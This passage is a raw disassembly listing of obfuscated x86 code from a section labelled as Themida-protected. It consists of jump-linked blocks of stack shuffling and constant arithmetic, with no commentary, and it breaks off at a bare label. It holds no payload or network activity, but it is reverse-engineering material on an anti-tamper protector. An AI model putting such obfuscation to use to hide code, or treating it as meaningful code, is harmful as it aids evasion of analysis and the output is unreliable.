; ---------------------------------------------------------------------------


loc_59D188:				; CODE XREF: Themida_:005A4097j
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A2668
; ---------------------------------------------------------------------------


loc_59D193:				; CODE XREF: Themida_:005A0991j
					; Themida_:005A9B0Bj
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		push	eax
		jmp	loc_59C33E
; ---------------------------------------------------------------------------


loc_59D1AC:				; CODE XREF: Themida_:loc_5A49A8j
		sub	edx, 7DF36C06h
		jg	loc_5AF3F4
		not	edx
		jmp	loc_59D3CA
; ---------------------------------------------------------------------------


loc_59D1BF:				; CODE XREF: Themida_:00598DCFj
		not	ecx
		inc	ecx
		jp	loc_5A580C
		push	eax
		jmp	loc_59E73C
; ---------------------------------------------------------------------------
		add	ebx, edi
		pop	edi
		mov	cl, 0DCh
		mov	ah, 5Bh


loc_59D1D5:				; CODE XREF: Themida_:0059BC2Bj
					; Themida_:005AA72Dj
		add	eax, esi
		pop	esi
		jmp	loc_5A02E2
; ---------------------------------------------------------------------------


loc_59D1DD:				; CODE XREF: Themida_:005A0989j
		add	ebx, eax
		pop	eax
		add	eax, ebx
		pop	ebx
		shl	eax, 5
		jnz	loc_59A2EE
		add	eax, 0BA033389h
		mov	ecx, eax
		mov	eax, [esp]
		mov	al, 0D3h
		pop	ebp


loc_59D1FA:				; CODE XREF: Themida_:005A9786j
		add	eax, 0FF78A7CCh
		push	ebp
		mov	ebp, 51D4069Dh
		sub	ebx, ebp
		pop	ebp
		add	ebx, eax
		jmp	loc_5A7847
; ---------------------------------------------------------------------------


loc_59D20F:				; CODE XREF: Themida_:005A0867j
		shr	ecx, 2
		not	ecx
		xor	ecx, 0AF851084h
		sub	edi, ecx
		mov	ecx, [esp]
		jmp	loc_5A6BA1
; ---------------------------------------------------------------------------


loc_59D224:				; CODE XREF: Themida_:0059E9F7j
		pop	ecx
		add	esp, 4
		push	7569h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5ABE30
; ---------------------------------------------------------------------------


loc_59D23B:				; CODE XREF: Themida_:005A3178j
		push	small 6ABAh
		mov	[esp], dx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	bh, 0F6h
		jmp	loc_599330
; ---------------------------------------------------------------------------


loc_59D251:				; CODE XREF: Themida_:0059F0E9j
					; Themida_:005A3C20j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A76CB
; ---------------------------------------------------------------------------


loc_59D25A:				; CODE XREF: Themida_:0059E132j
		xchg	al, dl
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A5149
; ---------------------------------------------------------------------------


loc_59D26A:				; CODE XREF: Themida_:005A6E0Bj
		push	esi
		jmp	loc_599D4B
; ---------------------------------------------------------------------------


loc_59D270:				; CODE XREF: Themida_:005A9C71j
		push	eax
		mov	eax, 0B6087521h
		xor	edx, eax
		pop	eax
		push	eax
		mov	eax, 7F2514CFh
		dec	eax
		jmp	loc_5A9CD5
; ---------------------------------------------------------------------------


loc_59D285:				; CODE XREF: Themida_:005A7290j
		pop	esp
		sub	edi, ebp
		pop	ebp
		jmp	locret_5AEDC9
; ---------------------------------------------------------------------------


loc_59D28E:				; CODE XREF: Themida_:005AF394j
					; Themida_:005AFA2Cj
		push	edx
		mov	edx, 72C47F10h
		not	edx
		add	edx, 0C714D2F8h
		sub	ecx, edx
		pop	edx
		jmp	loc_59DF14
; ---------------------------------------------------------------------------


loc_59D2A4:				; CODE XREF: Themida_:005A96AFj
		add	edx, eax
		jmp	loc_5AD7A0
; ---------------------------------------------------------------------------


loc_59D2AB:				; CODE XREF: Themida_:005A815Fj
		add	ebx, 1A7716F5h
		jle	loc_5A33CF
		inc	ebx
		jnz	loc_5ABDFA
		sub	ebx, 6BAAC20h
		mov	edx, ebx
		pop	ebx
		jmp	loc_5A6208
; ---------------------------------------------------------------------------


loc_59D2CC:				; CODE XREF: Themida_:loc_5AD04Bj
		push	ecx
		sub	esp, 4
		jmp	loc_5AEB91
; ---------------------------------------------------------------------------


loc_59D2D8:				; CODE XREF: Themida_:0059F6D3j
		pop	edi
		sub	eax, ebx
		push	esi
		mov	esi, 16B422E7h
		jmp	loc_5A7B49
; ---------------------------------------------------------------------------


loc_59D2E6:				; CODE XREF: Themida_:005ACA26j
		mov	eax, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59D304:				; CODE XREF: Themida_:0059BF59j
		sub	eax, 7BE52628h
		sub	eax, edi
		jmp	loc_5A7B9A
; ---------------------------------------------------------------------------


loc_59D310:				; CODE XREF: Themida_:005A67C5j
		mov	eax, esp
		jmp	loc_59C3A2
; ---------------------------------------------------------------------------


loc_59D317:				; CODE XREF: Themida_:005ADC29j
		pop	dword ptr [esp]
		jmp	loc_5AEEA3
; ---------------------------------------------------------------------------


loc_59D31F:				; CODE XREF: Themida_:005A9E4Dj
		push	0DEFh
		jmp	loc_59B2B9
; ---------------------------------------------------------------------------


loc_59D329:				; CODE XREF: Themida_:0059E020j
		pop	ecx
		sub	edx, eax
		jmp	loc_59F3D0
; ---------------------------------------------------------------------------


loc_59D331:				; CODE XREF: Themida_:005A659Dj
		pop	esp
		xor	al, dh
		pop	dx
		jmp	loc_5A1054
; ---------------------------------------------------------------------------


loc_59D33B:				; CODE XREF: Themida_:0059B188j
					; Themida_:005AC705j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		push	edx
		mov	edx, 4
		jmp	loc_59BFAB
; ---------------------------------------------------------------------------


loc_59D351:				; CODE XREF: Themida_:005A13B5j
					; Themida_:005A8466j
		sub	ebx, 40444285h
		sub	ebp, 29677040h
		sub	ebp, ebx
		add	ebp, 29677040h
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5A5F0D
; ---------------------------------------------------------------------------


loc_59D374:				; CODE XREF: Themida_:005ABBF0j
		add	ecx, edi
		add	ecx, 0B890D40h
		add	ecx, 338C0DE8h
		mov	edi, [esp]
		add	esp, 4
		xor	ecx, 74D10E2Ah
		xor	ecx, 4B8A2133h
		xor	ecx, 604818EBh
		add	ecx, 0BC953E4Eh
		push	57A0h
		jmp	loc_59BB0B
; ---------------------------------------------------------------------------


loc_59D3AA:				; CODE XREF: Themida_:005A239Aj
					; Themida_:005AC680j
		sub	edi, 0FFFFFFFFh
		sub	edi, 592F6219h
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 2
		add	edx, ebx
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_599042
; ---------------------------------------------------------------------------


loc_59D3CA:				; CODE XREF: Themida_:0059D1BAj
		lodsb
		jmp	loc_59F6FA
; ---------------------------------------------------------------------------


loc_59D3D0:				; CODE XREF: Themida_:005A2166j
		add	[esp+4], esi
		jmp	loc_59BE9E
; ---------------------------------------------------------------------------


loc_59D3D9:				; CODE XREF: Themida_:005ACE2Fj
		pop	ebx
		jmp	loc_5A3203
; ---------------------------------------------------------------------------


loc_59D3DF:				; CODE XREF: Themida_:0059B302j
		mov	ecx, [esp]
		jmp	loc_5A5916
; ---------------------------------------------------------------------------


loc_59D3E7:				; DATA XREF: Themida_:005987C4o
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_59E75F
; ---------------------------------------------------------------------------


loc_59D3F2:				; CODE XREF: Themida_:005A76A2j
		mov	edi, ecx
		jmp	loc_5A654C
; ---------------------------------------------------------------------------


loc_59D3F9:				; CODE XREF: Themida_:005A599Aj
		and	ecx, ebx
		pop	ebx
		sub	ecx, 208009FDh
		mov	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5AB5BC
; ---------------------------------------------------------------------------


loc_59D40D:				; CODE XREF: Themida_:005A8EFCj
		add	eax, 15F77F79h
		sub	eax, 4AE10761h
		add	esi, eax
		pop	eax
		add	esi, ecx
		sub	esi, 590E3FB6h
		pop	ecx
		push	7ED8h
		mov	[esp], edx
		push	ebx
		mov	ebx, 4
		push	ebx
		jmp	loc_5AC5C1
; ---------------------------------------------------------------------------


loc_59D437:				; CODE XREF: Themida_:0059F831j
		sub	eax, 4ED0276Eh
		or	eax, 3DC341BDh
		and	eax, 58DD46C5h
		neg	eax
		add	eax, 2E9B5119h
		xor	eax, 0F4A869DBh
		sub	ebx, eax
		jmp	loc_5AC65D
; ---------------------------------------------------------------------------


loc_59D459:				; CODE XREF: Themida_:0059C1E9j
					; Themida_:0059E479j
		mov	esi, 17125051h
		jmp	loc_5A7A9A
; ---------------------------------------------------------------------------


loc_59D463:				; CODE XREF: Themida_:005AEC89j
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59D468:				; CODE XREF: Themida_:005A16FAj
		add	edi, ecx
		pop	ecx
		jmp	loc_59A0D4
; ---------------------------------------------------------------------------


loc_59D470:				; CODE XREF: Themida_:005A27E1j
		sub	bx, 53C1h
		jmp	loc_5AFB75
; ---------------------------------------------------------------------------


loc_59D47A:				; CODE XREF: Themida_:005A6DDBj
		sub	edx, 63FC36DCh
		jmp	loc_59C930
; ---------------------------------------------------------------------------


loc_59D485:				; CODE XREF: Themida_:005AD965j
		mov	[esp], ebp
		jmp	loc_5A0449
; ---------------------------------------------------------------------------


loc_59D48D:				; CODE XREF: Themida_:005A6E70j
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59D498:				; CODE XREF: Themida_:005AF4F9j
		mov	ebp, 6B637F42h
		xor	ebp, 6B637F46h
		add	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		xchg	eax, ebx
		sub	esp, 4
		mov	[esp], ebx
		push	130Eh
		mov	[esp], eax
		push	ebp
		mov	ebp, 71923770h
		add	ebp, 8E6DC891h
		mov	eax, ebp
		jmp	loc_59C684
; ---------------------------------------------------------------------------


loc_59D4D4:				; CODE XREF: Themida_:005AD958j
		pop	eax
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5AC79C
; ---------------------------------------------------------------------------


loc_59D4E3:				; CODE XREF: Themida_:005ACEBFj
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_59AA65
; ---------------------------------------------------------------------------


loc_59D4F0:				; CODE XREF: Themida_:0059BA7Aj
		add	esp, 4
		pop	edi
		push	edx
		mov	edx, 0FA225C5h
		and	eax, edx
		pop	edx
		shr	eax, 7
		shl	eax, 7
		jmp	loc_5A5F2F
; ---------------------------------------------------------------------------


loc_59D508:				; CODE XREF: Themida_:005A6961j
		mov	ebx, ebp
		pop	ebp
		xchg	edx, ebx
		jmp	loc_5A0E54
; ---------------------------------------------------------------------------


loc_59D512:				; CODE XREF: Themida_:00599D6Cj
					; Themida_:005A2392j
		shl	eax, 1
		jnp	loc_5AD04B
		jmp	loc_5AF538
; ---------------------------------------------------------------------------


loc_59D51F:				; CODE XREF: Themida_:0059A37Fj
		add	ecx, 1A1D75BEh
		jmp	loc_5AECB3
; ---------------------------------------------------------------------------


loc_59D52A:				; CODE XREF: Themida_:005A2CB6j
		pop	esp
		push	edx
		mov	dh, 0B4h
		inc	dh
		xor	dh, 6Bh
		not	dh
		inc	dh
		shr	dh, 3
		add	dh, 55h
		jmp	loc_5A0A1C
; ---------------------------------------------------------------------------


loc_59D542:				; CODE XREF: Themida_:0059E43Bj
		push	dword ptr [esp]
		jmp	loc_59C817
; ---------------------------------------------------------------------------


loc_59D54A:				; CODE XREF: Themida_:0059D71Ej
		sub	ch, 6Dh
		jnp	loc_59EA40
		shl	ch, 6
		jmp	loc_59B384
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	esi
		mov	edi, ecx
		pop	ecx


loc_59D562:				; CODE XREF: Themida_:005A4C70j
		push	esi
		mov	esi, 592E0ACDh
		or	edi, esi
		pop	esi
		jmp	loc_5A914F
; ---------------------------------------------------------------------------


loc_59D570:				; CODE XREF: Themida_:005A6928j
		add	ecx, 0FDDA72A4h
		jmp	loc_5A310A
; ---------------------------------------------------------------------------


loc_59D57B:				; CODE XREF: Themida_:005ADF15j
		shl	al, 7
		jmp	loc_5A3A34
; ---------------------------------------------------------------------------


loc_59D583:				; CODE XREF: Themida_:005A2AFEj
		add	ebp, 1FBD63B8h
		jmp	loc_5A40A7
; ---------------------------------------------------------------------------


loc_59D58E:				; DATA XREF: Themida_:005986D0o
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59D59C:				; CODE XREF: Themida_:005A9F3Aj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	3445h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	458402A7h
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5A1370
; ---------------------------------------------------------------------------


loc_59D5CE:				; CODE XREF: Themida_:005A33CAj
		add	ebx, ebp
		jmp	loc_5AE6E2
; ---------------------------------------------------------------------------


loc_59D5D5:				; CODE XREF: Themida_:005AF2ADj
		jmp	loc_59E33D
; ---------------------------------------------------------------------------


loc_59D5DA:				; CODE XREF: Themida_:005A5274j
		push	esi
		jmp	loc_59F8D0
; ---------------------------------------------------------------------------


loc_59D5E0:				; CODE XREF: Themida_:005A8B71j
		sub	ebp, 69F833F5h
		add	ebp, 0FFFFFFFFh
		sub	ebp, 75AB1CF8h
		jmp	loc_5A894F
; ---------------------------------------------------------------------------


loc_59D5F4:				; CODE XREF: Themida_:005A926Ej
		push	ebx
		mov	ebx, 27344943h
		inc	ebx
		add	ebx, 0EF798E7Ah
		add	ebp, ebx
		pop	ebx
		add	ebx, 79074905h
		sub	ebx, 698D181Eh
		sub	ebx, ebp
		jmp	loc_5AADD7
; ---------------------------------------------------------------------------


loc_59D617:				; CODE XREF: Themida_:0059C763j
		pop	ebx
		push	ecx
		push	ebx
		mov	bl, dh
		jmp	loc_5A423F
; ---------------------------------------------------------------------------


loc_59D621:				; CODE XREF: Themida_:0059FE66j
		jmp	loc_59F235
; ---------------------------------------------------------------------------


loc_59D626:				; CODE XREF: Themida_:005A5673j
		push	esi
		jmp	loc_59C93D
; ---------------------------------------------------------------------------


loc_59D62C:				; CODE XREF: Themida_:005AC69Fj
		add	edx, 52B471Fh
		add	edx, ebp
		sub	edx, 52B471Fh
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	[esp], eax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59D64E:				; CODE XREF: Themida_:005A2C1Cj
		push	9EBh
		jmp	loc_5A69F3
; ---------------------------------------------------------------------------


loc_59D658:				; CODE XREF: Themida_:0059E96Cj
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		push	ebx
		mov	ebx, 65F00D2Ah
		jmp	loc_5ADFAF
; ---------------------------------------------------------------------------


loc_59D673:				; CODE XREF: Themida_:005A6173j
		pop	ecx
		pop	dx
		jmp	loc_5A430A
; ---------------------------------------------------------------------------


loc_59D67B:				; CODE XREF: Themida_:005AA709j
		or	ebp, 733F5F35h
		jmp	loc_5992FE
; ---------------------------------------------------------------------------


loc_59D686:				; CODE XREF: Themida_:005AD078j
		mov	esi, esp
		jmp	loc_59C1BB
; ---------------------------------------------------------------------------


loc_59D68D:				; CODE XREF: Themida_:005A2932j
		mov	ebx, esp
		jmp	loc_5A2CA7
; ---------------------------------------------------------------------------


loc_59D694:				; CODE XREF: Themida_:00598E94j
		push	dword ptr [esp]
		jmp	loc_5A7D59
; ---------------------------------------------------------------------------


loc_59D69C:				; CODE XREF: Themida_:0059CCCDj
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A0E3F
; ---------------------------------------------------------------------------


loc_59D6BE:				; CODE XREF: Themida_:005A95D2j
		add	edi, 8040025h
		jmp	loc_5AA9F5
; ---------------------------------------------------------------------------


loc_59D6C9:				; CODE XREF: Themida_:005AEFEFj
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bh, 32h
		sub	al, bh
		jmp	loc_5A61F9
; ---------------------------------------------------------------------------


loc_59D6ED:				; CODE XREF: Themida_:005ABD99j
		mov	[esp], esi
		mov	esi, 79750F69h
		dec	esi
		or	esi, 12861247h
		add	esi, 0FFFFFFFFh
		xor	esi, 5D247A29h
		jge	loc_59A5B6
		jmp	loc_59DF02
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ch, al
		mov	eax, edi


loc_59D71A:				; CODE XREF: Themida_:0059C39Dj
		pop	ebx
		or	ch, 0F5h
		ja	loc_59D54A
		sub	ch, 6Dh
		jnp	loc_5A662D
		mov	edx, ebp


loc_59D72F:				; CODE XREF: Themida_:005AD7E3j
		add	ebp, 2F2D0EA3h
		shl	ebp, 5
		sub	ebp, 418F0EEh
		add	edx, ebp
		pop	ebp
		jmp	loc_59AE08
; ---------------------------------------------------------------------------


loc_59D746:				; CODE XREF: Themida_:0059A72Fj
		push	710Ah
		mov	[esp], edi
		push	3A3h
		mov	[esp], esp
		jmp	loc_5A8DE5
; ---------------------------------------------------------------------------


loc_59D75B:				; CODE XREF: Themida_:005A2433j
		neg	ebx
		xchg	eax, ebx
		jmp	loc_59F1DF
; ---------------------------------------------------------------------------


loc_59D763:				; CODE XREF: Themida_:0059E643j
					; Themida_:005AE5CEj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59BD98
; ---------------------------------------------------------------------------


loc_59D781:				; CODE XREF: Themida_:00599910j
		xor	ebx, 0A410BB32h
		add	ebp, ebx
		jmp	loc_59C6CF
; ---------------------------------------------------------------------------


loc_59D78E:				; CODE XREF: Themida_:005A704Bj
		xor	ebx, [esp]
		pop	esp
		mov	dx, [esp]
		jmp	loc_5A0773
; ---------------------------------------------------------------------------


loc_59D79B:				; CODE XREF: Themida_:0059A9B9j
		neg	ebp
		jle	loc_5AF9D8
		jmp	loc_5ADCE7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5A828E
; ---------------------------------------------------------------------------


loc_59D7B1:				; CODE XREF: Themida_:005A265Dj
		sub	ebx, edx
		add	ebx, 37F443CBh
		pop	edx
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5A1B6B
; ---------------------------------------------------------------------------


loc_59D7CC:				; CODE XREF: Themida_:005A3981j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		jmp	loc_5ADE4C
; ---------------------------------------------------------------------------


loc_59D7E4:				; CODE XREF: Themida_:005A48B0j
		xor	edx, 96E05EEh
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59B4AC
; ---------------------------------------------------------------------------


loc_59D808:				; CODE XREF: Themida_:005A138Ej
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A167C
; ---------------------------------------------------------------------------


loc_59D81A:				; CODE XREF: Themida_:005A5BEAj
		mov	edi, 4D580C2Fh
		mov	ebx, edi
		pop	edi
		not	ebx
		jmp	loc_598D1E
; ---------------------------------------------------------------------------


loc_59D829:				; CODE XREF: Themida_:005A0F6Cj
					; Themida_:005AA73Bj
		mov	eax, 7FF36511h
		add	ebp, eax
		pop	eax
		add	ebp, ecx
		jmp	loc_5ABD6D
; ---------------------------------------------------------------------------


loc_59D838:				; CODE XREF: Themida_:0059A004j
		mov	edx, esp
		jmp	loc_59BA66
; ---------------------------------------------------------------------------


loc_59D83F:				; CODE XREF: Themida_:0059A887j
		add	edx, 106AD9F0h
		xor	ebx, edx
		pop	edx
		shl	ebx, 7
		sub	ebx, 58AF7D87h
		add	esi, 7446563Eh
		add	esi, 2FA860F2h
		add	esi, ebx
		sub	esi, 2FA860F2h
		jmp	loc_5AC8DD
; ---------------------------------------------------------------------------


loc_59D86A:				; CODE XREF: Themida_:005AF7E3j
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	esi
		jmp	loc_5A384F
; ---------------------------------------------------------------------------


loc_59D879:				; CODE XREF: Themida_:00599C7Fj
		push	edi
		jmp	loc_5ADBB0
; ---------------------------------------------------------------------------


loc_59D87F:				; CODE XREF: Themida_:0059EC22j
		pop	edx
		add	esp, 4
		push	7935h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59D8A6:				; CODE XREF: Themida_:005AD0A5j
		and	dl, 67h
		push	ebx
		mov	bh, 7Bh
		jmp	loc_5A43E3
; ---------------------------------------------------------------------------


loc_59D8B1:				; CODE XREF: Themida_:005AFCECj
		pop	eax
		sub	esi, 7FDF5FD3h
		add	ebp, esi
		jmp	loc_5A56E2
; ---------------------------------------------------------------------------


loc_59D8BF:				; CODE XREF: Themida_:005AEE08j
		sub	word ptr [esp+4], 1217h
		pop	dx
		sub	word ptr [esp+2], 2487h
		add	[esp+2], cx
		add	word ptr [esp+2], 2487h
		jmp	loc_59CB01
; ---------------------------------------------------------------------------


loc_59D8E0:				; CODE XREF: Themida_:0059BC98j
		push	1E4h
		mov	[esp], edx
		mov	edx, 6654017Ah
		xor	ebx, edx
		jmp	loc_5A7CD8
; ---------------------------------------------------------------------------


loc_59D8F4:				; CODE XREF: Themida_:0059F5F8j
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 732F4DFBh
		inc	esi
		jmp	loc_5ADAF3
; ---------------------------------------------------------------------------


loc_59D909:				; CODE XREF: Themida_:005AB4DBj
		mov	eax, 1F51366Ah
		sub	eax, 10B7723Eh
		or	eax, 650B784Bh
		xor	eax, 756CB292h
		jmp	loc_5A9DA6
; ---------------------------------------------------------------------------


loc_59D922:				; CODE XREF: Themida_:0059AF64j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5ADD33
; ---------------------------------------------------------------------------


loc_59D930:				; CODE XREF: Themida_:005AA774j
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 505F1886h
		jmp	loc_5AD0FF
; ---------------------------------------------------------------------------


loc_59D942:				; CODE XREF: Themida_:005A2352j
		popa
		retn
; ---------------------------------------------------------------------------


loc_59D944:				; DATA XREF: Themida_:005986C0o
		lodsd
		xor	eax, ebx
		push	ebx
		mov	ebx, 344F7809h
		xor	ebx, 10766F4Dh
		jo	loc_59993F
		jmp	loc_5A2D47
; ---------------------------------------------------------------------------


loc_59D95E:				; CODE XREF: Themida_:0059941Dj
		not	dl
		mov	ah, dl
		pop	edx
		jmp	loc_59AA56
; ---------------------------------------------------------------------------


loc_59D968:				; CODE XREF: Themida_:005A54F7j
		pop	bx
		jmp	loc_59F0B7
; ---------------------------------------------------------------------------


loc_59D96F:				; CODE XREF: Themida_:005994D7j
		shl	ch, 4
		not	ch
		push	bx
		push	eax
		mov	al, 34h
		jmp	loc_5A65CC
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5AD3E6
; ---------------------------------------------------------------------------


loc_59D990:				; CODE XREF: Themida_:005A45D0j
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		jmp	loc_5A0B73
; ---------------------------------------------------------------------------


loc_59D9A3:				; CODE XREF: Themida_:005AC96Aj
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_5AB04F
; ---------------------------------------------------------------------------


loc_59D9AE:				; CODE XREF: Themida_:0059DC37j
		mov	[esp], ebp
		push	esp
		jmp	loc_5A831E
; ---------------------------------------------------------------------------


loc_59D9B7:				; CODE XREF: Themida_:005A8847j
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	edi, 4
		add	edi, 4
		jmp	loc_5A9AE6
; ---------------------------------------------------------------------------


loc_59D9CE:				; CODE XREF: Themida_:005A5B13j
					; Themida_:005AD33Bj ...
		pop	ebp
		jmp	loc_5A516D
; ---------------------------------------------------------------------------


loc_59D9D4:				; CODE XREF: Themida_:005AD003j
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	eax
		push	890h
		push	esp
		pop	dword ptr [esp]
		push	139Bh
		mov	[esp], ebp
		push	ebx
		push	edx
		push	1EA7342Eh
		pop	edx
		jmp	loc_5AA102
; ---------------------------------------------------------------------------


loc_59D9FC:				; CODE XREF: Themida_:005A68ECj
		mov	[esp], ebp
		mov	ebp, 2F055A30h
		shr	ebp, 3
		js	loc_59BC20
		neg	ebp
		push	0
		sub	[esp], ebp
		pop	ebp
		push	eax
		mov	eax, 5E0EB46h
		xor	ebp, eax
		pop	eax
		mov	edi, ebp
		pop	ebp
		jmp	loc_5A3991
; ---------------------------------------------------------------------------


loc_59DA29:				; CODE XREF: Themida_:005AF861j
		sub	edi, ecx
		pop	ecx
		add	edi, esi
		add	edi, 3F133A1Eh
		jmp	loc_5AFB14
; ---------------------------------------------------------------------------


loc_59DA39:				; CODE XREF: Themida_:0059B7AEj
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_5A6301
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A2501
; ---------------------------------------------------------------------------


loc_59DA56:				; CODE XREF: Themida_:005AC8A1j
		xor	[esp], esi
		jmp	loc_5AD3F8
; ---------------------------------------------------------------------------


loc_59DA5E:				; CODE XREF: Themida_:005A002Ej
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_59981A
; ---------------------------------------------------------------------------


loc_59DA72:				; CODE XREF: Themida_:005A7156j
		mov	esi, 6D015D4Ah
		push	ebx
		push	edi
		jmp	loc_5A083A
; ---------------------------------------------------------------------------


loc_59DA7E:				; CODE XREF: Themida_:005ADDC1j
		add	ebx, 4
		jmp	loc_5A629B
; ---------------------------------------------------------------------------


loc_59DA89:				; CODE XREF: Themida_:005AEB14j
		pop	esi
		add	esi, 39CA6F5Eh
		pop	ebx
		push	ebp
		mov	ebp, 6E415EEBh
		or	esi, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5A2DB8
; ---------------------------------------------------------------------------


loc_59DAB6:				; CODE XREF: Themida_:loc_5AB026j
		jmp	loc_59C6CF
; ---------------------------------------------------------------------------


loc_59DABB:				; CODE XREF: Themida_:005A7EFFj
		push	56AA506Bh
		jmp	loc_5A6224
; ---------------------------------------------------------------------------


loc_59DAC5:				; CODE XREF: Themida_:005A86A4j
		dec	edx
		add	edx, 0DE34BAFAh
		mov	eax, 0BBD040Fh
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 114F7ECCh
		sub	ebx, 51E577F3h
		add	ebx, eax
		add	ebx, 51E577F3h
		add	ebx, 114F7ECCh
		pop	eax
		add	ebx, 4
		jmp	loc_59ACCB
; ---------------------------------------------------------------------------


loc_59DB02:				; CODE XREF: Themida_:0059ADBBj
					; Themida_:005A9D2Ej
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 21216EE9h
		add	eax, edi
		add	eax, 21216EE9h
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59C7DE
; ---------------------------------------------------------------------------


loc_59DB2F:				; CODE XREF: Themida_:0059920Fj
					; Themida_:0059FFC1j
		add	ecx, 364136E6h
		jmp	loc_5A4ABF
; ---------------------------------------------------------------------------


loc_59DB3A:				; CODE XREF: Themida_:005A105Cj
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 1B53C97h
		and	ecx, 0DAC7350h
		inc	ecx
		dec	ecx
		push	eax
		mov	eax, 1A43014h
		xor	ecx, eax
		pop	eax
		add	eax, 76BD1353h
		add	eax, 6FFB6F94h
		add	eax, ecx
		sub	eax, 6FFB6F94h
		sub	eax, 76BD1353h
		pop	ecx
		push	ebp
		mov	ebp, 4
		sub	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5AC5A3
; ---------------------------------------------------------------------------


loc_59DB7C:				; CODE XREF: Themida_:005AB6D8j
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5AA99C
; ---------------------------------------------------------------------------


loc_59DB87:				; CODE XREF: Themida_:0059EB2Fj
		sub	bl, ch
		push	ecx
		mov	cl, 0FAh
		shl	cl, 2
		jmp	loc_59F1AC
; ---------------------------------------------------------------------------


loc_59DB94:				; CODE XREF: Themida_:005A1F46j
		add	esp, 4
		add	esp, 4


loc_59DB9D:				; CODE XREF: Themida_:005A726Fj
